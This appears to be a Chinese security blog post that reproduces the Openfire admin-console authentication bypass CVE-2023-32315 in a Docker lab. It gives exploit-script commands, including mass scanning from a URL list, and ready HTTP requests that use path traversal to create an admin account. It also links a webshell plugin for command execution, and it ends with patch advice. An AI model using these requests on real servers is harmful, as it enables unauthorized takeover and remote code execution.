Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)

0x01 产品简介

      Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。

0x02 漏洞概述

      Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。   

0x03 影响范围

    3.10.0 <= Openfire < 4.6.8

    4.7.0 <= Openfire 4.7.x < 4.7.5

0x04 复现环境

    docker搭建Openfire 4.7.4漏洞环境

  拉取镜像

docker pull nasqueron/openfire:4.7.4

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第1张图片

 启动环境

docker run --name openfire -d --restart=always \
  --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 \
  --volume /srv/docker/openfire:/var/lib/openfire \
  nasqueron/openfire:4.7.4

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第2张图片

访问环境,需要安装,一直下一步即可 

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第3张图片Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第4张图片

 安装完毕

0x05 漏洞复现

 Exp脚本:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第5张图片

使用方法:Get项目到有go环境的主机(go版本1.20以上)

cd CVE-2023-32315-Openfire-Bypass/scan_all    
go mod tidy                                #编译脚本获取依懒

单url利用姿势

go run main.go -u http://openfire.com:9090

多url利用姿势

go run main.go -l url.txt -t 20

效果(可直接创建用户名密码)

手动复现

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第6张图片

出现这种情况,证明漏洞存在

获取JSESSIONID和csrftoken

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第7张图片

 使用获取到JSESSIONID和csrftoken创建用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第8张图片

 尝试登录

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第9张图片

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第10张图片

 0x06 漏洞利用

上传openfire shell命令行插件

  插件地址:

https://download.csdn.net/download/qq_41904294/87912035

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第11张图片

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第12张图片Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第13张图片

密码"123"点击登录

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第14张图片

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)_第15张图片

得到webshell 

 0x06 修复建议

升级版本至4.6.8或4.7.5及以上

https://github.com/igniterealtime/Openfire/releases

限制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。

你可能感兴趣的:(漏洞复现,安全,web安全,网络安全)